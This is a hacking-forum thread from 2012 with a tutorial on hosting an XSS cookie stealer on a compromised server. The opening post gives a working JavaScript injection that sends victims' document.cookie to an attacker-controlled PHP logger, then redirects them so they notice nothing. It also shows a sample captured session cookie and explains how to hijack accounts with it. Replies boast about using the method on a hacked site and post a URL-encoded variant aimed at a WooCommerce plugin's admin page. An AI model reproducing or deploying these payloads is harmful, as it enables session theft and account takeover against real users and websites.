

Forum:[Hack Forums](#)

Thread: [??? \[TUTORIAL:\]?_INSTALL AND RUN A XSS COOKIE STEALER FROM YOUR SHELL_\[/PHP\]???](#)

mObile - September 26, 2012, 2:33 pm

[img]http://i775.photobucket.com/albums/yy40/GregMaxSold/AwesomeCookie.png[/img]

[img]http://blog.secfence.com/wp-content/uploads/2012/01/xss.png[/img]

Did you find a page that is vulnerable to XSS injection and you want to make it do something useful, like steal cookies?

Today I thought I'd show some of you (that don't know) A tutorial on how to install and run a XSS Cookie Stealer from your shell. A three-step process consisting of the injected script, cookie recorder, and log file.

First you'll need an uploaded shell to a hacked server.

Then from your shell Create a Directory;

Next (in new directory) create two files, log.txt and whatever.php.

EXAMPLE:

(Leave log.txt empty. This is the file your cookie stealer will transfer data to.)

Now paste this php code into your cookie stealer script (whatever.php):

<http://pastebin.com/F1qFtj80>

Click "Save" and then change the chmod to 0777

(This script will record the cookies of every user that views it.)

Now we need to get the XSS vulnerable page to access the script; (any attack type will work.)

Next insert this line of code;

PHP Code

```
<?php
```

```
"><script language= "JavaScript">document.location="http:
```

```
//yoursite.com/whatever.php?cookie=" + document.cookie;document.location="http://www.whatever site.com"</script>
```

[www.yoursite.com](#) is the hacked server you're hosting your cookie stealer and log file on, and [whateversite.com](#) is the vulnerable page you're exploiting. The above code redirects the viewer to

your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened.

Now when you open log.txt, you should see something like this:

PHP Code

<?php

IP: 135.16.68.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.site.com/search.php |
DATE: Tuesday 21st 2012f September 2012 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373

Next use something like firebug (<http://getfirebug.com/>) to add/edit all your cookies to match the data from the cookie in your log file and refresh the page. The server will think you're the user you stole the cookie from. Now you can log into accounts without even needing to know the passwords or usernames.

So lets review:

- 1.) Test page to make sure it's vulnerable to XSS injections.
- 2.) It's vulnerable, upload the cookie stealer php file and log file to your hacked server.
- 3.) Insert the injection into the page via the url or text box.
- 4.) Get the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
- 5.) To test, Visit link or wait for user targets.
- 6.) Check your log file for their cookie. 
7. Modify your own cookie to match the captured one and refresh the page.

I tested and found this tutorial is NFN (not for noobs) so I'm sure just a few of you that have XSS/Shell knowledge will find this useful.

Enjoy and Thanks for viewing my thread. ?

Mineo - September 26, 2012, 2:34 pm

Amazing tutorial, just did this on my friends website that I hacked and shelled.

Zixem - September 26, 2012, 2:52 pm

Why are you shelling a site just for steal cookies? there are a lot of free hosting services. (Part of them don't allow fopen()\fwrite()\fputs() but there are plenty of free hosting services that allows)

wezio - September 26, 2012, 3:00 pm

Amazing. Does this stealer work on facebook.com?

Zixem - September 26, 2012, 3:01 pm

(Sep 26, 2012 03:00 PM)wezio Wrote: [\[CITE\]](#) Amazing. Does this stealer work on facebook.com?
If you find XSS on facebook...uhm...yes
Good luck with that haha :>

?asp3r - September 26, 2012, 4:14 pm

(Sep 26, 2012 03:28 PM)m0bil3_xT Wrote: [\[CITE\]](#) Yeah you can use those I guess (idk about you) but I have alot of undetected shelled sites that I have no use for, so instead of letting them go to waste I run php scripts on them and host them out to members/friends. So why not a XSS cookie stealer? ?

its in asp but watevs.. if u can find a .php one that works great. Better yet try and make one.

What happens if `session.cookie_httponly` is set to `true` and you can't edit the cookie?

dis script not working
any other scripts friends

is there a way to get cookie from XSS?

[WordPress WooCommerce Product Feed 2.2.18 Cross Site Scripting Packet Storm](#)

PHP Code

```
test-victim-url.com/wp-admin/admin.php?page=woo_feed_manage_feed&link=><script+language%
3D+"JavaScript">document.location%3D
"https%3A%2F%hosted-domain-name.com%2Ftemp%2Fxss_cookie_stealer.php%3Fcookie%3D"
+++document.cookie%3Bdocument.location%3D"test-victim-url.com"<%2Fscript>
```

I'm basically trying to gain wp-admin access through xss by stealing the cookie.

Not sure if anyone has one handy?

Javascript Injection Creates Rogue WordPress Admin User